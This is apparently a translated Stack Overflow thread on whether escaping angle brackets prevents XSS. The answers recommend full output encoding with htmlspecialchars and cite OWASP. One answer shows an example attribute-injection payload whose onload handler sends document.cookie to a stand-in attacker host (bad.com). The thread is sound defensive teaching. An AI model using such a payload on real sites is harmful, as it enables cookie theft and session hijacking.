Является ли замена : ‹ и › на и достаточной для предотвращения внедрения XSS?

Я хочу знать, достаточно ли ввода двух меток < и > для предотвращения XSS-инъекций?

А если нет, то почему? И какое лучшее решение?


person CodeOverload    schedule 22.01.2010    source источник


Ответы (2)


Это очень сильно зависит от контекста.

Посмотрите на этот пример с типичного форума...

Вы можете сделать ссылку на свой аватар. Введите полный URL-адрес.

Злоумышленник вводит в поле ввода

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

Там нет кодировки меньше и больше, но все же большая дыра в безопасности.

С htmlspecialchars() я нашел хорошей идеей сделать (или использовать) функцию-оболочку, которая приводит к строке, предоставляет более простой способ отключить двойное кодирование (при необходимости) и убедиться, что он использует правильный набор символов вашего применение. У Kohana есть отличный пример.

person alex    schedule 22.01.2010
comment
привет, спасибо всем за ответы, я спросил об этом, потому что я думаю, что ввод всех символов занимает больше места в базе данных. Благодарность - person CodeOverload; 22.01.2010
comment
Я бы не кодировал вход в БД, а кодировал выход. Как правило, рекомендуется хранить пользовательские данные как есть и предусмотреть некоторый механизм, чтобы сделать их безопасными при отображении. - person alex; 22.01.2010
comment
Я полностью согласен с подходом «держать исходное до тех пор, пока оно не попадет на страницу», однако я бы настоятельно не рекомендовал «отключать двойные кавычки», поскольку это исказит ваши строки. Например, если я хочу сказать &amp; в сообщении, говорящем об HTML, подобном этому, параметр не сможет заменить его на &amp;amp; в исходном коде, и, следовательно, на экране он будет отображаться как &, что выставит меня идиотом. Кодирование — это процесс, а не состояние. - person bobince; 22.01.2010
comment
Общее правило заключается в том, чтобы выполнять проверку ввода при получении данных и экранирование вывода при выводе данных. См. Памятку OWASP по предотвращению XSS, чтобы узнать, как выйти из ситуации в различных контекстах: owasp.org /index.php/ - person Erlend; 31.01.2010

Вы должны также учитывать двойные кавычки ", одинарные кавычки ' и амперсанд &. Если вы делаете все это во время отображения/генерации вывода, то да, этого достаточно.

Вы должны убедиться, что делаете это только для любых входных данных, контролируемых пользователем, таких как параметры запроса, URL-адрес запроса, заголовки запроса и входные данные, контролируемые пользователем, которые хранятся в хранилище данных.

В PHP это можно сделать с помощью htmlspecialchars(), а в JSP это можно сделать с помощью JSTL <c:out>.

person BalusC    schedule 22.01.2010
comment
Примечание htmlspecialchars по умолчанию экранирует только двойные кавычки, а не одинарные. Но обычно это нормально, так как одинарные кавычки редко используются в качестве разделителя атрибутов. Используйте ENT_QUOTES, чтобы быть уверенным в получении обоих. - person bobince; 22.01.2010